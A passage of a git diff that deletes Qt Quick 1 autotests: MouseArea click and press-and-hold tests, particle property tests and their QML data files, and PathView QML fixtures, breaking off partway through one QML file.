canvas; -} - -void tst_QDeclarative1MouseArea::noOnClickedWithPressAndHold() -{ - QDeclarativeView *canvas = createView(); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/clickandhold.qml")); - canvas->show(); - canvas->setFocus(); - QVERIFY(canvas->rootObject() != 0); - - QGraphicsScene *scene = canvas->scene(); - QGraphicsSceneMouseEvent pressEvent(QEvent::GraphicsSceneMousePress); - pressEvent.setScenePos(QPointF(100, 100)); - pressEvent.setButton(Qt::LeftButton); - pressEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &pressEvent); - - QVERIFY(!canvas->rootObject()->property("clicked").toBool()); - QVERIFY(!canvas->rootObject()->property("held").toBool()); - - QTest::qWait(1000); - - QGraphicsSceneMouseEvent releaseEvent(QEvent::GraphicsSceneMouseRelease); - releaseEvent.setScenePos(QPointF(100, 100)); - releaseEvent.setButton(Qt::LeftButton); - releaseEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &releaseEvent); - - QVERIFY(!canvas->rootObject()->property("clicked").toBool()); - QVERIFY(canvas->rootObject()->property("held").toBool()); - - delete canvas; -} - -void tst_QDeclarative1MouseArea::onMousePressRejected() -{ - QDeclarativeView *canvas = createView(); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/rejectEvent.qml")); - canvas->show(); - canvas->setFocus(); - QVERIFY(canvas->rootObject() != 0); - QVERIFY(canvas->rootObject()->property("enabled").toBool()); - - QVERIFY(!canvas->rootObject()->property("mr1_pressed").toBool()); - QVERIFY(!canvas->rootObject()->property("mr1_released").toBool()); - QVERIFY(!canvas->rootObject()->property("mr1_canceled").toBool()); - QVERIFY(!canvas->rootObject()->property("mr2_pressed").toBool()); - QVERIFY(!canvas->rootObject()->property("mr2_released").toBool()); - QVERIFY(!canvas->rootObject()->property("mr2_canceled").toBool()); - - QGraphicsScene *scene = canvas->scene(); - QGraphicsSceneMouseEvent pressEvent(QEvent::GraphicsSceneMousePress); - pressEvent.setScenePos(QPointF(100, 100)); - pressEvent.setButton(Qt::LeftButton); - pressEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &pressEvent); - - QVERIFY(canvas->rootObject()->property("mr1_pressed").toBool()); - QVERIFY(!canvas->rootObject()->property("mr1_released").toBool()); - QVERIFY(!canvas->rootObject()->property("mr1_canceled").toBool()); - QVERIFY(canvas->rootObject()->property("mr2_pressed").toBool()); - QVERIFY(!canvas->rootObject()->property("mr2_released").toBool()); - QVERIFY(canvas->rootObject()->property("mr2_canceled").toBool()); - - QTest::qWait(200); - - QGraphicsSceneMouseEvent releaseEvent(QEvent::GraphicsSceneMouseRelease); - releaseEvent.setScenePos(QPointF(100, 100)); - releaseEvent.setButton(Qt::LeftButton); - releaseEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &releaseEvent); - - QVERIFY(canvas->rootObject()->property("mr1_released").toBool()); - QVERIFY(!canvas->rootObject()->property("mr1_canceled").toBool()); - QVERIFY(!canvas->rootObject()->property("mr2_released").toBool()); - - delete canvas; -} - -void tst_QDeclarative1MouseArea::doubleClick() -{ - QDeclarativeView *canvas = createView(); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/doubleclick.qml")); - canvas->show(); - canvas->setFocus(); - QVERIFY(canvas->rootObject() != 0); - - QGraphicsScene *scene = canvas->scene(); - QGraphicsSceneMouseEvent pressEvent(QEvent::GraphicsSceneMousePress); - pressEvent.setScenePos(QPointF(100, 100)); - pressEvent.setButton(Qt::LeftButton); - pressEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &pressEvent); - - QGraphicsSceneMouseEvent releaseEvent(QEvent::GraphicsSceneMouseRelease); - releaseEvent.setScenePos(QPointF(100, 100)); - releaseEvent.setButton(Qt::LeftButton); - releaseEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &releaseEvent); - - QCOMPARE(canvas->rootObject()->property("released").toInt(), 1); - - QGraphicsSceneMouseEvent dblClickEvent(QEvent::GraphicsSceneMouseDoubleClick); - dblClickEvent.setScenePos(QPointF(100, 100)); - dblClickEvent.setButton(Qt::LeftButton); - dblClickEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &dblClickEvent); - - QApplication::sendEvent(scene, &releaseEvent); - - QCOMPARE(canvas->rootObject()->property("clicked").toInt(), 1); - QCOMPARE(canvas->rootObject()->property("doubleClicked").toInt(), 1); - QCOMPARE(canvas->rootObject()->property("released").toInt(), 2); - - delete canvas; -} - -// QTBUG-14832 -void tst_QDeclarative1MouseArea::clickTwice() -{ - QDeclarativeView *canvas = createView(); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/clicktwice.qml")); - canvas->show(); - canvas->setFocus(); - QVERIFY(canvas->rootObject() != 0); - - QGraphicsScene *scene = canvas->scene(); - QGraphicsSceneMouseEvent pressEvent(QEvent::GraphicsSceneMousePress); - pressEvent.setScenePos(QPointF(100, 100)); - pressEvent.setButton(Qt::LeftButton); - pressEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &pressEvent); - - QGraphicsSceneMouseEvent releaseEvent(QEvent::GraphicsSceneMouseRelease); - releaseEvent.setScenePos(QPointF(100, 100)); - releaseEvent.setButton(Qt::LeftButton); - releaseEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &releaseEvent); - - QCOMPARE(canvas->rootObject()->property("pressed").toInt(), 1); - QCOMPARE(canvas->rootObject()->property("released").toInt(), 1); - QCOMPARE(canvas->rootObject()->property("clicked").toInt(), 1); - - QGraphicsSceneMouseEvent dblClickEvent(QEvent::GraphicsSceneMouseDoubleClick); - dblClickEvent.setScenePos(QPointF(100, 100)); - dblClickEvent.setButton(Qt::LeftButton); - dblClickEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &dblClickEvent); - - QApplication::sendEvent(scene, &pressEvent); - QApplication::sendEvent(scene, &releaseEvent); - - QCOMPARE(canvas->rootObject()->property("pressed").toInt(), 2); - QCOMPARE(canvas->rootObject()->property("released").toInt(), 2); - QCOMPARE(canvas->rootObject()->property("clicked").toInt(), 2); - - delete canvas; -} - -void tst_QDeclarative1MouseArea::pressedOrdering() -{ - QDeclarativeView *canvas = createView(); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pressedOrdering.qml")); - canvas->show(); - canvas->setFocus(); - QVERIFY(canvas->rootObject() != 0); - - QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("base")); - - QGraphicsScene *scene = canvas->scene(); - QGraphicsSceneMouseEvent pressEvent(QEvent::GraphicsSceneMousePress); - pressEvent.setScenePos(QPointF(100, 100)); - pressEvent.setButton(Qt::LeftButton); - pressEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &pressEvent); - - QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("pressed")); - - QGraphicsSceneMouseEvent releaseEvent(QEvent::GraphicsSceneMouseRelease); - releaseEvent.setScenePos(QPointF(100, 100)); - releaseEvent.setButton(Qt::LeftButton); - releaseEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &releaseEvent); - - QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("toggled")); - - QApplication::sendEvent(scene, &pressEvent); - - QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("pressed")); - - delete canvas; -} - -void tst_QDeclarative1MouseArea::preventStealing() -{ - QDeclarativeView *canvas = createView(); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/preventstealing.qml")); - canvas->show(); - canvas->setFocus(); - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1Flickable *flickable = qobject_cast(canvas->rootObject()); - QVERIFY(flickable != 0); - - QDeclarative1MouseArea *mouseArea = canvas->rootObject()->findChild("mousearea"); - QVERIFY(mouseArea != 0); - - QSignalSpy mousePositionSpy(mouseArea, SIGNAL(positionChanged(QDeclarative1MouseEvent*))); - - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(80, 80))); - - // Without preventStealing, mouse movement over MouseArea would - // cause the Flickable to steal mouse and trigger content movement. - QGraphicsScene *scene = canvas->scene(); - QGraphicsSceneMouseEvent moveEvent(QEvent::GraphicsSceneMouseMove); - moveEvent.setScenePos(QPointF(70, 70)); - moveEvent.setButton(Qt::LeftButton); - moveEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &moveEvent); - - moveEvent.setScenePos(QPointF(60, 60)); - moveEvent.setButton(Qt::LeftButton); - moveEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &moveEvent); - - moveEvent.setScenePos(QPointF(50, 50)); - moveEvent.setButton(Qt::LeftButton); - moveEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &moveEvent); - - // We should have received all three move events - QCOMPARE(mousePositionSpy.count(), 3); - QVERIFY(mouseArea->pressed()); - - // Flickable content should not have moved. - QCOMPARE(flickable->contentX(), 0.); - QCOMPARE(flickable->contentY(), 0.); - - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(50, 50))); - - // Now allow stealing and confirm Flickable does its thing. - canvas->rootObject()->setProperty("stealing", false); - - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(80, 80))); - - // Without preventStealing, mouse movement over MouseArea would - // cause the Flickable to steal mouse and trigger content movement. - moveEvent.setScenePos(QPointF(70, 70)); - QApplication::sendEvent(scene, &moveEvent); - - moveEvent.setScenePos(QPointF(60, 60)); - QApplication::sendEvent(scene, &moveEvent); - - moveEvent.setScenePos(QPointF(50, 50)); - QApplication::sendEvent(scene, &moveEvent); - - // We should only have received the first move event - QCOMPARE(mousePositionSpy.count(), 4); - // Our press should be taken away - QVERIFY(!mouseArea->pressed()); - - // Flickable content should have moved. - QCOMPARE(flickable->contentX(), 10.); - QCOMPARE(flickable->contentY(), 10.); - - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(50, 50))); - - delete canvas; -} - -void tst_QDeclarative1MouseArea::testQtQuick11Attributes() -{ - QFETCH(QString, code); - QFETCH(QString, warning); - QFETCH(QString, error); - - QDeclarativeEngine engine; - QObject *obj; - - QDeclarativeComponent valid(&engine); - valid.setData("import QtQuick 1.1; MouseArea { " + code.toUtf8() + " }", QUrl("")); - obj = valid.create(); - QVERIFY(obj); - QVERIFY(valid.errorString().isEmpty()); - delete obj; - - QDeclarativeComponent invalid(&engine); - invalid.setData("import QtQuick 1.0; MouseArea { " + code.toUtf8() + " }", QUrl("")); - QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); - obj = invalid.create(); - QCOMPARE(invalid.errorString(), error); - delete obj; -} - -void tst_QDeclarative1MouseArea::testQtQuick11Attributes_data() -{ - QTest::addColumn("code"); - QTest::addColumn("warning"); - QTest::addColumn("error"); - - QTest::newRow("preventStealing") << "preventStealing: true" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"MouseArea.preventStealing\" is not available in QtQuick 1.0.\n"; -} - -#ifndef QT_NO_CONTEXTMENU -class ContextMenuEventReceiver : public QDeclarativeItem -{ - Q_OBJECT - Q_PROPERTY(int eventCount READ eventCount NOTIFY eventCountChanged); -public: - ContextMenuEventReceiver(QDeclarativeItem *parent = 0) : QDeclarativeItem(parent), m_eventCount(0) { } - int eventCount() const { return m_eventCount; } -signals: - void eventCountChanged(int); -protected: - void contextMenuEvent(QGraphicsSceneContextMenuEvent *event) { - if (event->reason() == QGraphicsSceneContextMenuEvent::Mouse) { - m_eventCount++; - emit eventCountChanged(m_eventCount); - } - } -private: - int m_eventCount; -}; - -void tst_QDeclarative1MouseArea::preventContextMenu() -{ - // A MouseArea accepting Left, Middle and Right buttons should prevent context menu - // events with "Mouse" reason to hit the Item below. - - qmlRegisterType("Test", 1, 0, "ContextMenuEventReceiver"); - - QDeclarativeView *view = createView(); - view->setSource(QUrl::fromLocalFile(SRCDIR "/data/preventContextMenu.qml")); - view->show(); - QVERIFY(view->rootObject() != 0); - - QDeclarativeProperty mouseAreaEnabled(view->rootObject(), "mouseAreaEnabled"); - QVERIFY(mouseAreaEnabled.read().toBool()); - - QDeclarativeProperty eventsReceived(view->rootObject(), "eventsReceived"); - QCOMPARE(eventsReceived.read().toInt(), 0); - - QPoint targetPoint = view->mapFromScene(QPoint(80, 80)); - - QContextMenuEvent fakeEvent1(QContextMenuEvent::Mouse, targetPoint); - QApplication::sendEvent(view->viewport(), &fakeEvent1); - QCOMPARE(eventsReceived.read().toInt(), 0); - - mouseAreaEnabled.write(false); - QVERIFY(!mouseAreaEnabled.read().toBool()); - QContextMenuEvent fakeEvent2(QContextMenuEvent::Mouse, targetPoint); - QApplication::sendEvent(view->viewport(), &fakeEvent2); - QCOMPARE(eventsReceived.read().toInt(), 1); - - mouseAreaEnabled.write(true); - QVERIFY(mouseAreaEnabled.read().toBool()); - QContextMenuEvent fakeEvent3(QContextMenuEvent::Mouse, targetPoint); - QApplication::sendEvent(view->viewport(), &fakeEvent3); - QCOMPARE(eventsReceived.read().toInt(), 1); -} -#endif // QT_NO_CONTEXTMENU - -QTEST_MAIN(tst_QDeclarative1MouseArea) - -#include "tst_qdeclarativemousearea.moc" diff --git a/tests/auto/qtquick1/qdeclarativeparticles/data/particle.png b/tests/auto/qtquick1/qdeclarativeparticles/data/particle.png deleted file mode 100644 index defbde53ca..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativeparticles/data/particle.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativeparticles/data/particlemotiontest.qml b/tests/auto/qtquick1/qdeclarativeparticles/data/particlemotiontest.qml deleted file mode 100644 index dad97465b5..0000000000 --- a/tests/auto/qtquick1/qdeclarativeparticles/data/particlemotiontest.qml +++ /dev/null @@ -1,35 +0,0 @@ -import QtQuick 1.0 -import Qt.labs.particles 1.0 - -Rectangle { - width: 240 - height: 320 - color: "black" - Particles { - objectName: "particles" - anchors.fill: parent - width: 1 - height: 1 - source: "particle.png" - lifeSpan: 5000 - count: 200 - angle: 270 - angleDeviation: 45 - velocity: 50 - velocityDeviation: 30 - ParticleMotionGravity { - objectName: "motionGravity" - yattractor: 1000 - xattractor: 0 - acceleration: 25 - } - } - resources: [ - ParticleMotionWander { - objectName: "motionWander" - xvariance: 30 - yvariance: 30 - pace: 100 - } - ] -} diff --git a/tests/auto/qtquick1/qdeclarativeparticles/data/particlestest.qml b/tests/auto/qtquick1/qdeclarativeparticles/data/particlestest.qml deleted file mode 100644 index c76fe9b8fc..0000000000 --- a/tests/auto/qtquick1/qdeclarativeparticles/data/particlestest.qml +++ /dev/null @@ -1,17 +0,0 @@ -import QtQuick 1.0 -import Qt.labs.particles 1.0 - -Rectangle{ - width: 100 - height: 100 - color: "black" - objectName: "rect" - Particles { id: particles - objectName: "particles" - width:1; height:1; anchors.centerIn: parent; opacity: 1 - lifeSpan: 100; lifeSpanDeviation: 20; count:1000; - fadeInDuration: 20; fadeOutDuration: 20; emissionRate: 1000 - angle: 0; angleDeviation: 360; velocity: 500; velocityDeviation:30 - source: "particle.png" - } -} diff --git a/tests/auto/qtquick1/qdeclarativeparticles/qdeclarativeparticles.pro b/tests/auto/qtquick1/qdeclarativeparticles/qdeclarativeparticles.pro deleted file mode 100644 index 666fce999f..0000000000 --- a/tests/auto/qtquick1/qdeclarativeparticles/qdeclarativeparticles.pro +++ /dev/null @@ -1,11 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativeparticles -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativeparticles.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private declarative-private qtquick1 testlib diff --git a/tests/auto/qtquick1/qdeclarativeparticles/tst_qdeclarativeparticles.cpp b/tests/auto/qtquick1/qdeclarativeparticles/tst_qdeclarativeparticles.cpp deleted file mode 100644 index b89170385a..0000000000 --- a/tests/auto/qtquick1/qdeclarativeparticles/tst_qdeclarativeparticles.cpp +++ /dev/null @@ -1,222 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include - -class tst_QDeclarativeParticles : public QObject -{ - Q_OBJECT -public: - tst_QDeclarativeParticles(); - -private slots: - void properties(); - void motionGravity(); - void motionWander(); - void runs(); -private: - QDeclarativeView *createView(const QString &filename); - -}; - -tst_QDeclarativeParticles::tst_QDeclarativeParticles() -{ -} - -void tst_QDeclarativeParticles::properties() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/particlestest.qml"); - QVERIFY(canvas->rootObject()); - - QObject* particles = canvas->rootObject()->findChild("particles"); - QVERIFY(particles); - - particles->setProperty("source", QUrl::fromLocalFile(SRCDIR "/data/particle.png")); - QCOMPARE(particles->property("source").toUrl(), QUrl::fromLocalFile(SRCDIR "/data/particle.png")); - - particles->setProperty("lifeSpanDeviation", (1000)); - QCOMPARE(particles->property("lifeSpanDeviation").toInt(), 1000); - - particles->setProperty("fadeInDuration", 1000); - QCOMPARE(particles->property("fadeInDuration").toInt(), 1000); - - particles->setProperty("fadeOutDuration", 1000); - QCOMPARE(particles->property("fadeOutDuration").toInt(), 1000); - - particles->setProperty("angle", 100.0); - QCOMPARE(particles->property("angle").toDouble(), 100.0); - - particles->setProperty("angleDeviation", 100.0); - QCOMPARE(particles->property("angleDeviation").toDouble(), 100.0); - - particles->setProperty("velocity", 100.0); - QCOMPARE(particles->property("velocity").toDouble(), 100.0); - - particles->setProperty("velocityDeviation", 100.0); - QCOMPARE(particles->property("velocityDeviation").toDouble(), 100.0); - - particles->setProperty("emissionVariance", 0.5); - QCOMPARE(particles->property("emissionVariance").toDouble(),0.5); - - particles->setProperty("emissionRate", 12); - QCOMPARE(particles->property("emissionRate").toInt(), 12); - - delete canvas; -} - -void tst_QDeclarativeParticles::motionGravity() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/particlemotiontest.qml"); - QVERIFY(canvas->rootObject()); - - QObject* particles = canvas->rootObject()->findChild("particles"); - QVERIFY(particles); - - QObject* motionGravity = canvas->rootObject()->findChild("motionGravity"); - //QCOMPARE(qvariant_cast(particles->property("motion")), motionGravity); - - QSignalSpy xattractorSpy(motionGravity, SIGNAL(xattractorChanged())); - QSignalSpy yattractorSpy(motionGravity, SIGNAL(yattractorChanged())); - QSignalSpy accelerationSpy(motionGravity, SIGNAL(accelerationChanged())); - - QCOMPARE(motionGravity->property("xattractor").toDouble(), 0.0); - QCOMPARE(motionGravity->property("yattractor").toDouble(), 1000.0); - QCOMPARE(motionGravity->property("acceleration").toDouble(), 25.0); - - motionGravity->setProperty("xattractor", 20.0); - motionGravity->setProperty("yattractor", 10.0); - motionGravity->setProperty("acceleration", 10.0); - - QCOMPARE(motionGravity->property("xattractor").toDouble(), 20.0); - QCOMPARE(motionGravity->property("yattractor").toDouble(), 10.0); - QCOMPARE(motionGravity->property("acceleration").toDouble(), 10.0); - - QCOMPARE(xattractorSpy.count(), 1); - QCOMPARE(yattractorSpy.count(), 1); - QCOMPARE(accelerationSpy.count(), 1); - - motionGravity->setProperty("xattractor", 20.0); - motionGravity->setProperty("yattractor", 10.0); - motionGravity->setProperty("acceleration", 10.0); - - QCOMPARE(xattractorSpy.count(), 1); - QCOMPARE(yattractorSpy.count(), 1); - QCOMPARE(accelerationSpy.count(), 1); - - delete canvas; -} - -void tst_QDeclarativeParticles::motionWander() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/particlemotiontest.qml"); - QVERIFY(canvas->rootObject()); - - QObject* particles = canvas->rootObject()->findChild("particles"); - QVERIFY(particles); - - QSignalSpy motionSpy(particles, SIGNAL(motionChanged())); - QObject* motionWander = canvas->rootObject()->findChild("motionWander"); - - QCOMPARE(motionSpy.count(), 0); - particles->setProperty("motion", QVariant::fromValue(motionWander)); - //QCOMPARE(particles->property("motion"), QVariant::fromValue(motionWander)); - //QCOMPARE(motionSpy.count(), 1); - - particles->setProperty("motion", QVariant::fromValue(motionWander)); - //QCOMPARE(motionSpy.count(), 1); - - QSignalSpy xvarianceSpy(motionWander, SIGNAL(xvarianceChanged())); - QSignalSpy yvarianceSpy(motionWander, SIGNAL(yvarianceChanged())); - QSignalSpy paceSpy(motionWander, SIGNAL(paceChanged())); - - QCOMPARE(motionWander->property("xvariance").toDouble(), 30.0); - QCOMPARE(motionWander->property("yvariance").toDouble(), 30.0); - QCOMPARE(motionWander->property("pace").toDouble(), 100.0); - - motionWander->setProperty("xvariance", 20.0); - motionWander->setProperty("yvariance", 10.0); - motionWander->setProperty("pace", 10.0); - - QCOMPARE(motionWander->property("xvariance").toDouble(), 20.0); - QCOMPARE(motionWander->property("yvariance").toDouble(), 10.0); - QCOMPARE(motionWander->property("pace").toDouble(), 10.0); - - QCOMPARE(xvarianceSpy.count(), 1); - QCOMPARE(yvarianceSpy.count(), 1); - QCOMPARE(paceSpy.count(), 1); - - QCOMPARE(motionWander->property("xvariance").toDouble(), 20.0); - QCOMPARE(motionWander->property("yvariance").toDouble(), 10.0); - QCOMPARE(motionWander->property("pace").toDouble(), 10.0); - - QCOMPARE(xvarianceSpy.count(), 1); - QCOMPARE(yvarianceSpy.count(), 1); - QCOMPARE(paceSpy.count(), 1); - - delete canvas; -} - -void tst_QDeclarativeParticles::runs() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/particlestest.qml"); - QVERIFY(canvas->rootObject()); - - QObject* particles = canvas->rootObject()->findChild("particles"); - QVERIFY(particles); - QTest::qWait(1000);//Run for one second. Test passes if it doesn't crash. - - delete canvas; -} - -QDeclarativeView *tst_QDeclarativeParticles::createView(const QString &filename) -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - - canvas->setSource(QUrl::fromLocalFile(filename)); - - return canvas; -} -QTEST_MAIN(tst_QDeclarativeParticles) - -#include "tst_qdeclarativeparticles.moc" diff --git a/tests/auto/qtquick1/qdeclarativepathview/data/closedPath.qml b/tests/auto/qtquick1/qdeclarativepathview/data/closedPath.qml deleted file mode 100644 index 08b0d2a203..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/data/closedPath.qml +++ /dev/null @@ -1,24 +0,0 @@ -import QtQuick 1.0 - -Path { - startY: 120 - startX: 160 - PathQuad { - y: 120 - x: 80 - controlY: 330 - controlX: 100 - } - PathLine { - y: 160 - x: 20 - } - PathCubic { - y: 120 - x: 160 - control1Y: 0 - control1X: 100 - control2Y: 000 - control2X: 200 - } -} diff --git a/tests/auto/qtquick1/qdeclarativepathview/data/datamodel.qml b/tests/auto/qtquick1/qdeclarativepathview/data/datamodel.qml deleted file mode 100644 index e2c4e3dd00..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/data/datamodel.qml +++ /dev/null @@ -1,38 +0,0 @@ -import QtQuick 1.0 - -PathView { - id: pathview - property int viewCount: count - objectName: "pathview" - width: 240; height: 320 - pathItemCount: testObject.pathItemCount - - function checkProperties() { - testObject.error = false; - if (testObject.useModel && pathview.model != testData) { - console.log("model property incorrect"); - testObject.error = true; - } - } - - model: testObject.useModel ? testData : 0 - - delegate: Component { - id: myDelegate - Rectangle { - id: wrapper - objectName: "wrapper" - property bool onPath: PathView.onPath - width: 20; height: 20; color: name - Text { - objectName: "myText" - text: name - } - } - } - - path: Path { - startX: 120; startY: 20; - PathLine { x: 120; y: 300 } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepathview/data/displaypath.qml b/tests/auto/qtquick1/qdeclarativepathview/data/displaypath.qml deleted file mode 100644 index 88dfc57b72..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/data/displaypath.qml +++ /dev/null @@ -1,59 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 240 - height: 320 - color: "#ffffff" - resources: [ - Component { - id: delegate - Rectangle { - id: wrapper - objectName: "wrapper" - height: 20 - width: 60 - color: "white" - border.color: "black" - Text { - text: index - } - Text { - x: 20 - id: displayText - objectName: "displayText" - text: display - } - } - } - ] - PathView { - id: view - objectName: "view" - width: 240 - height: 320 - model: testModel - delegate: delegate - path: Path { - startY: 120 - startX: 160 - PathQuad { - y: 120 - x: 80 - controlY: 330 - controlX: 100 - } - PathLine { - y: 160 - x: 20 - } - PathCubic { - y: 120 - x: 160 - control1Y: 0 - control1X: 100 - control2Y: 000 - control2X: 200 - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepathview/data/dragpath.qml b/tests/auto/qtquick1/qdeclarativepathview/data/dragpath.qml deleted file mode 100644 index 0f9484083e..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/data/dragpath.qml +++ /dev/null @@ -1,19 +0,0 @@ -import QtQuick 1.0 - -PathView { - width: 400 - height: 200 - model: 100 - pathItemCount: 20 - path: Path { - startX: 0; startY: 100 - PathLine { x: 400; y: 100 } - } - delegate: Rectangle { objectName: "wrapper"; height: 100; width: 2; color: PathView.isCurrentItem?"red" : "black" } - dragMargin: 100 - preferredHighlightBegin: 0.5 - preferredHighlightEnd: 0.5 - Text { - text: "current index: " + parent.currentIndex - } -} diff --git a/tests/auto/qtquick1/qdeclarativepathview/data/emptymodel.qml b/tests/auto/qtquick1/qdeclarativepathview/data/emptymodel.qml deleted file mode 100644 index 4deb45fdb3..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/data/emptymodel.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -PathView { - model: emptyModel -} diff --git a/tests/auto/qtquick1/qdeclarativepathview/data/openPath.qml b/tests/auto/qtquick1/qdeclarativepathview/data/openPath.qml deleted file mode 100644 index 328e3cdefb..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/data/openPath.qml +++ /dev/null @@ -1,10 +0,0 @@ -import QtQuick 1.0 - -Path { - startY: 120 - startX: 160 - PathLine { - y: 160 - x: 20 - } -} diff --git a/tests/auto/qtquick1/qdeclarativepathview/data/pathUpdate.qml b/tests/auto/qtquick1/qdeclarativepathview/data/pathUpdate.qml deleted file mode 100644 index 0c2ac0ce98..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/data/pathUpdate.qml +++ /dev/null @@ -1,18 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - - PathView { - id: view - objectName: "pathView" - anchors.fill: parent - model: 10 - delegate: Rectangle { objectName: "wrapper"; color: "green"; width: 100; height: 100 } - path: Path { - startX: view.width/2; startY: 0 - PathLine { x: view.width/2; y: view.height } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepathview/data/pathUpdateOnStartChanged.qml b/tests/auto/qtquick1/qdeclarativepathview/data/pathUpdateOnStartChanged.qml deleted file mode 100644 index bd732ab17b..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/data/pathUpdateOnStartChanged.qml +++ /dev/null @@ -1,38 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 800 - height: 480 - color: "black" - resources: [ - ListModel { - id: appModel - ListElement { color: "green" } - }, - Component { - id: appDelegate - Rectangle { - id: wrapper - objectName: "wrapper" - color: "green" - width: 100 - height: 100 - } - } - ] - PathView { - id: pathView - objectName: "pathView" - model: appModel - anchors.fill: parent - - transformOrigin: "Top" - delegate: appDelegate - path: Path { - objectName: "path" - startX: pathView.width / 2 // startX: 400 <- this works as expected - startY: 300 - PathLine { x: 400; y: 120 } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepathview/data/pathtest.qml b/tests/auto/qtquick1/qdeclarativepathview/data/pathtest.qml deleted file mode 100644 index b13c00662e..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/data/pathtest.qml +++ /dev/null @@ -1,14 +0,0 @@ -import QtQuick 1.0 - -Path { - startX: 120; startY: 100 - - PathAttribute { name: "scale"; value: 1.0 } - PathQuad { x: 120; y: 25; controlX: 260; controlY: 75 } - PathPercent { value: 0.3 } - PathLine { x: 120; y: 100 } - PathCubic { - x: 180; y: 0; control1X: -10; control1Y: 90 - control2X: 210; control2Y: 90 - } -} diff --git a/tests/auto/qtquick1/qdeclarativepathview/data/pathview0.qml b/tests/auto/qtquick1/qdeclarativepathview/data/pathview0.qml deleted file mode 100644 index 28b6fb9a72..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/data/pathview0.qml +++ /dev/null @@ -1,84 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: root - property int count: view.count - property int currentA: -1 - property int currentB: -1 - property real delegateWidth: 60 - property real delegateHeight: 20 - property real delegateScale: 1.0 - width: 240 - height: 320 - color: "#ffffff" - resources: [ - Component { - id: delegate - Rectangle { - id: wrapper - objectName: 